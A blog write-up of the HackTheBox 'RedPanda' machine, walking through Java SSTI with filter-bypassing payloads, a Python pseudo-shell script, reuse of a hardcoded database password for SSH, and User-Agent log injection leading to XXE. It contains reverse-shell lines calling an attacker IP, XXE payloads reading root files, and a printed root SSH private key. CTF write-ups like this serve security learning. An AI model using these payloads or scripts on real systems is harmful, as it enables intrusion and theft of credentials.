Kashmir54

Cibersecurity blog. CTFs, writeups, electronics and more!

Home YouTube View on GitHub

RedPanda

Summary

RedPanda is an easy and interesting box where we land into a web with an SSTI vulnerability. I could not get a reverse shell there, but we could read files. After a long time of enumeration (using a custom script to simulate a shell), we retrieved some DB credentials from the code that were reused in the SSH.

For privilege escalation we need some code review of an application that it is running as root. After spotting the several injection points and correctly aling the payloads to make some path injections (no sanitization at the server) we are able to craft custom XMLs that are being served, so we need to exploit an XXE vulnerability to retrieve the flag and also the SSH keys for the root user.

Probably, one of the most enjoyable boxes I have solved due to the concatenation of several vulnerabilities. Let’s get into it!

Recon

nmap -sC -sV -p- 10.10.11.170
Nmap scan report for 10.10.11.170
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Wed, 24 Aug 2022 15:39:37 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye'
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Wed, 24 Aug 2022 15:39:37 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Wed, 24 Aug 2022 15:39:37 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests

In nmap we can see that the port 8080 is a web server. When we reach it, it displays the following website with a browser:

As seen on the title line, it is powerded by Spring Boot, therefore Java and any of their templating components might be running in the backend. Some basic SSTI payloads for Java backends shows us some interesting results, showing that the payload is working:

@(6+5)
// Result in the website: You searched for: @?11

#{3*3}
// Result in the website: You searched for: ??9_en_US??

*{7*7}
// Result in the website: You searched for: 49

At the end, we spotted that the optimal expoitation payload is by using the * before the brackets. Once we have the core exploit, we go for advance payloads, in this test I tried to execute a command, but instead of returning the output, the webserver is printing the object it returned with the process information:

*{T(java.lang.Runtime).getRuntime().exec("cat etc/passwd")}
//You searched for: Process[pid=98196, exitValue="not exited"]

I give a shot to multiple payloads trying to spawn a reverse shell, but some of the special characters were being filtered/banned as displayed by the website:

*{T(java.lang.Runtime).getRuntime().exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.3/5454;cat <&5 | while read line; do \$line 2>&5 >&5; done")] as String[]).waitFor()}

*{T(java.lang.Runtime).getRuntime().exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.3/5454;cat <&5 | while read line; do \\".concat(T(java.lang.Character).toString(36)).concat("line 2>\\&5 >&5; done")] as String[]).waitFor()}

*{T(java.lang.Runtime).getRuntime().exec(["ls")] as String[]).waitFor()}

Finally I end up using the character concatenation to build the payload. Java will concatenate the different characters (provided in decimal to bypass any filter) building up the desired payload. For example, if we want to execute the cat command we will concatenate characters 99, 97 and 116 (ascii values for c, a and t) and so on.

// cat /home/woodenk/user.txt

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(116))).getInputStream())}

// Result in the website: You searched for: d063ce1c7aed9b36aa5ffd08d3eb1946

To automate the process I got an script from GitHub and enhanced it, resulting the following python script to set a “pseudo-shell” and set all make all the SSTI payload design unoticeable for the user.

#!/usr/bin/python3
from cmd import Cmd
import urllib.parse, argparse
import requests, re
from bs4 import BeautifulSoup

# Example command: python3 script.py -u http://10.10.11.170:8080/search

parser = argparse.ArgumentParser(description="Generate SSTI payloads for Java vulnerable apps")
parser.add_argument("-e","--url-encode", action="store_true", help="URL Encode")
parser.add_argument("-u","--url", type=str, required=True, help="Target URL")

args = parser.parse_args()

url_encode = args.url_encode
url = args.url

print(character)
class Terminal(Cmd):
    prompt='\033[1;33mCommand ==>\033[0m '

    def send_cmd(self, payload):

        # Customize input content
        data = {"name": payload}
        r = requests.post(url, data=data)
        
        # Customize return content
        dom = BeautifulSoup(r.text, 'html.parser')
        try:
            output = dom.find_all('h2')[0].get_text()
            cmd_output = output[25:]
            print(r.text)
            print(cmd_output)
        except Exception:
            print(r.text)


    def decimal_encode(self,args):

        command = args
        decimals = []

        for i in command:
            decimals.append(str(ord(i)))

        payload = '''*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)''' % decimals[0]
        

        for i in decimals[1:]:
            letter = '.concat(T(java.lang.Character).toString({}))'.format(i)
            payload += letter

        payload += ').getInputStream())}'

        self.send_cmd(payload)

        if url_encode:
            payload_encoded=urllib.parse.quote_plus(payload,safe='')
            return payload_encoded
        else:
            return payload

    def default(self,args):
        self.decimal_encode(args)
        print('-'*15)

try:

    term=Terminal()
    term.cmdloop()

except KeyboardInterrupt:
    quit()

Now we can check for any hint within the box. We are lucky, since the same user running the server is the one with the flag, no need to pivot wintin the machine:

786c397d794c360f464b9b85978b49ab

We have the user flag, but we still need to get in. Tried several reverse shell payloads but could not get one to work, so I decided to explore the machine, with my mind fouces on finding any SSH keys (id_rsa) or DB credentials on the code.

Command ==> pwd
    /tmp/hsperfdata_woodenk 

Command ==> ls
    883

Command ==> ls ../
    hsperfdata_root 
    hsperfdata_woodenk 
    systemd-private-26fc97457295411cbe6e843c00188871-ModemManager.service-coyzBi 
    systemd-private-26fc97457295411cbe6e843c00188871-systemd-logind.service-8FvBaj
    systemd-private-26fc97457295411cbe6e843c00188871-systemd-resolved.service-Ip7b4i
    systemd-private-26fc97457295411cbe6e843c00188871-systemd-timesyncd.service-9YQKSf
    tomcat.8080.17725477970259632754 
    tomcat-docbase.8080.9689730580099091298 
    vmware-root_655-4021587944

Command ==> ls -la /home/woodenk
    total 44
    drwxr-xr-x 6 woodenk woodenk 4096 Aug 24 16:28 .
    drwxr-xr-x 3 root    root    4096 Jun 14 14:35 ..
    lrwxrwxrwx 1 root    root       9 Jun 14 11:38 .bash_history -> /dev/null
    -rw-r--r-- 1 woodenk woodenk  220 Jun 14 11:12 .bash_logout
    -rw-r--r-- 1 woodenk woodenk 3938 Jun 14 12:37 .bashrc
    drwx------ 2 woodenk woodenk 4096 Jun 23 19:04 .cache
    drwx------ 3 woodenk logs    4096 Aug 24 16:39 .gnupg
    -rw------- 1 woodenk logs     399 Aug 24 16:28 key.txt
    drwxrwxr-x 3 woodenk woodenk 4096 Jun 14 14:35 .local
    drwxrwxr-x 4 woodenk woodenk 4096 Jun 14 14:35 .m2
    -rw-r--r-- 1 woodenk woodenk  807 Jun 14 11:12 .profile
    -rw-r----- 1 root    woodenk   33 Aug 24 14:33 user.txt

Sadly, I found no SSH keys… Looking for secrets in the code I found under /opt/panda_search:

Command ==> ls -la /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/
    total 24
    drwxrwxr-x 2 root root 4096 Jun 21 12:24 .
    drwxrwxr-x 3 root root 4096 Jun 14 14:35 ..
    -rw-rw-r-- 1 root root 4321 Jun 20 13:02 MainController.java
    -rw-rw-r-- 1 root root  779 Feb 21  2022 PandaSearchApplication.java
    -rw-rw-r-- 1 root root 1800 Jun 14 14:09 RequestInterceptor.java

The interesting code was found in the Controller, and at the very botton we can see some hardcoded credentials:

MainController.java

import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;

import org.apache.commons.io.IOUtils;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

@Controller
public class MainController {
  @GetMapping("/stats")
        public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
                SAXBuilder saxBuilder = new SAXBuilder();
                if(author == null)
                author = "N/A";
                author = author.strip();
                System.out.println('"' + author + '"');
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        String path = "/credits/" + author + "_creds.xml";
                        File fd = new File(path);
                        Document doc = saxBuilder.build(fd);
                        Element rootElement = doc.getRootElement();
                        String totalviews = rootElement.getChildText("totalviews");
                        List<Element> images = rootElement.getChildren("image");
                        for(Element image: images)
                                System.out.println(image.getChildText("uri"));
                        model.addAttribute("noAuthor", false);
                        model.addAttribute("author", author);
                        model.addAttribute("totalviews", totalviews);
                        model.addAttribute("images", images);
                        return new ModelAndView("stats.html");
                }
                else
                {
                        model.addAttribute("noAuthor", true);
                        return new ModelAndView("stats.html");
                }
        }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
        public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

                System.out.println("Exporting xml of: " + author);
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
                        System.out.println(in);
                        return IOUtils.toByteArray(in);
                }
                else
                {
                        return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
                }
        }
  @PostMapping("/search")
        public ModelAndView search(@RequestParam("name") String name, Model model) {
        if(name.isEmpty())
        {
                name = "Greg";
        }
        String query = filter(name);
        ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
        model.addAttribute("pandas", pandas);
        model.addAttribute("n", pandas.size());
        return new ModelAndView("search.html");
        }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
                panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}

Credentials for the DB:

woodenk:RedPandazRule

Testing out for an SSH session, we are lucky and the user is reusing the password for the SSH service:

Privesc

First thing I recalled is the cleanup sh script on the opt folder, executable by all users:

woodenk@redpanda:/opt$ ls -la
    total 24
    drwxr-xr-x  5 root root 4096 Jun 23 18:12 .
    drwxr-xr-x 20 root root 4096 Jun 23 14:52 ..
    -rwxr-xr-x  1 root root  462 Jun 23 18:12 cleanup.sh
    drwxr-xr-x  3 root root 4096 Jun 14 14:35 credit-score
    drwxr-xr-x  6 root root 4096 Jun 14 14:35 maven
    drwxrwxr-x  5 root root 4096 Jun 14 14:35 panda_search

woodenk@redpanda:/opt$ cat cleanup.sh 
    #!/bin/bash
    /usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
    /usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
    /usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
    /usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
    /usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
    /usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
    /usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
    /usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

Checked the pspy output for any hint about its execution, but what I see is that the script that is running is run_credits.sh, but we cannot read or write it.

2022/07/21 16:51:33 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity 
2022/07/21 16:52:01 CMD: UID=0    PID=35317  | /usr/sbin/CRON -f 
2022/07/21 16:52:01 CMD: UID=0    PID=35320  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar 
2022/07/21 16:52:01 CMD: UID=0    PID=35319  | /bin/sh /root/run_credits.sh 
2022/07/21 16:52:01 CMD: UID=0    PID=35318  | /bin/sh -c /root/run_credits.sh 
2022/07/21 16:52:06 CMD: UID=0    PID=35337  | /usr/sbin/sshd -D -R 
2022/07/21 16:52:06 CMD: UID=0    PID=35338  | /usr/sbin/sshd -D -R 
2022/07/21 16:52:18 CMD: UID=0    PID=35341  | /usr/sbin/sshd -D -R 
2022/07/21 16:52:18 CMD: UID=0    PID=35340  | /usr/sbin/sshd -D -R 
2022/07/21 16:52:18 CMD: UID=0    PID=35343  | /usr/sbin/sshd -D -R 
2022/07/21 16:52:18 CMD: UID=0    PID=35342  | /usr/sbin/sshd -D -R 

Checking out previous findings with source code, I decided to recheck the credit-score project within the /opt folder:

// woodenk@redpanda:/opt/credit-score/LogParser/final/src/main/java/com/logparser$ cat App.java 

package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        

        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);
        
        Element rootElement = doc.getRootElement();
 
        for(Element el: rootElement.getChildren())
        {

            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }

    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}

The name run_credits.sh makes me think that is running the credit-score project. So I decided to break apart this App.java apart and check if there is something that we can take advantage of, since it’s running periodically as the root user.

//Opens redpanda.log a root file that can be writen by 'logs' group, woodend is not in that group but he can read it (check it out down below)
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);

// Goes line by line, this is a line example from the log:
// 200||10.10.14.13||tplmap/0.5||/search
while(log_reader.hasNextLine())
{
    String line = log_reader.nextLine();
    if(!isImage(line))
    {
        continue;
    }
    // Parse log returns a Map, spliting the line with the vertical bars and taking it into the Map 
    // With all this, we can assume what it is being logged:
    // status_code || ip || UA || uri
    Map parsed_data = parseLog(line);
    System.out.println(parsed_data.get("uri"));

    // getArtist retrieves the Artist attribute from the metadata of the file on /opt/panda_search/src/main/resources/static/<uri>
    String artist = getArtist(parsed_data.get("uri").toString());
    System.out.println("Artist: " + artist);
    String xmlPath = "/credits/" + artist + "_creds.xml";
    // Increments views counter for artist and the image
    addViewTo(xmlPath, parsed_data.get("uri").toString());
}

It is using the metadata-extractor library. To understand this, refer to the tag reading functions.

// Creates/reads a file for a jpg file
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);

// Gets the metadata from the jpg
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
    for(Tag tag : dir.getTags())
    {   // Returns the artist from the metadata (if exists)
        if(tag.getTagName() == "Artist")
        {
            return tag.getDescription();
        }
    }
}
return "N/A";
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());

File fd = new File(path);
// Gets the XML file with the artist name from the metadata
Document doc = saxBuilder.build(fd);

Element rootElement = doc.getRootElement();

for(Element el: rootElement.getChildren())
{
    // Increments the counter of views attribute and the total views for the artist
    if(el.getName() == "image")
    {
        if(el.getChild("uri").getText().equals(uri))
        {
            Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
            System.out.println("Total views:" + Integer.toString(totalviews));
            rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
            Integer views = Integer.parseInt(el.getChild("views").getText());
            el.getChild("views").setText(Integer.toString(views + 1));
        }
    }
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
cat /opt/panda_search/redpanda.log
    200||10.10.14.13||tplmap/0.5||/search
    200||10.10.14.13||tplmap/0.5||/search
    200||10.10.14.13||tplmap/0.5||/search
    200||10.10.14.13||tplmap/0.5||/search
    200||10.10.14.13||tplmap/0.5||/search
    200||10.10.14.13||tplmap/0.5||/search
    404||10.10.16.26||Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:002847)||/_vti_bin/cfgwiz.exe
    404||10.10.16.26||Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:002847)||/error
    404||10.10.16.26||Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:002848)||/_vti_bin/CGImail.exe
    404||10.10.16.26||Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:002848)||/error

I review all the injection points that we have at this point to build an attack:

String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);

String xmlPath = "/credits/" + artist + "_creds.xml";

So the attack will consist of creating an XML file with XXE payload to exfiltrate any file in the system. I’m going to retrieve the flag from the root. The following basic XXE will do the job:

nano /tmp/mir_creds.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/root.txt"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

/credits/ + artist + _creds.xml

/credits/../tmp/mir_creds.xml

On our machine, we edit the artist metadata and then upload it to the tmp folder:

exiftool -artist=../tmp/mir masterpiece.jpg

The JPG path will be retrieved from the URI on the request logs and placed here:

/opt/panda_search/src/main/resources/static + uri

Then, the following string will go to the photo we will upload at tmp/masterpiece.png

curl http://10.10.11.170:8080/../../../../../../tmp/masterpiece.jpg

As we can see in the logs, the server is taking out the ‘../’ from the request path:

woodenk@redpanda:/tmp$ cat /opt/panda_search/redpanda.log
200||10.10.14.137||Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0||/search
200||10.10.14.137||Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0||/search
404||10.10.14.59||curl/7.81.0||/tmp/masterpiece.png
404||10.10.14.59||curl/7.81.0||/error

To solve this, we can do the trick in the parsing method. Let’s set a user agent with “||” followed by our URI payload, so we add an extra position (5 in total) and now we have control of the position 3 (the URI) with no server interaction, therefore, dots will remain in place:

// Recalling the parsing function
String[] strings = line.split("\\|\\|");
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);

status_code ip user_agent uri real_uri 404 ||10.10.14.59||curl/7.81.0||/../../../../../../tmp/masterpiece.jpg||/copycat

curl -H "User-Agent: curl/7.81.0||/../../../../../../tmp/masterpiece.jpg" http://10.10.11.170:8080/copycat

And after sometime waiting for the run_credits to run, we get the root.txt

woodenk@redpanda:/tmp$ cat mir_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace>
<userInfo>
  <firstName>John</firstName>
  <lastName>e0136ab5bdf0c600a4f56791d108e1b7</lastName>
</userInfo>

e0136ab5bdf0c600a4f56791d108e1b7

Now that I have the flag, I tried to get a shell exfiltrating the id_rsa file in the root directory. I don’t know if there is such file, but I let the attack running just in case. Modify the XML to target the id_rsa file:

nano /tmp/mir_creds.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/.ssh/id_rsa"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

I sent the curl request again to make sure that it gets registered in the logs, and after waiting (so long that I thought that no id_rsa was in the root directory), we get the key:

woodenk@redpanda:/tmp$ cat mir_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace>
<userInfo>
  <firstName>John</firstName>
  <lastName>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</lastName>
</userInfo>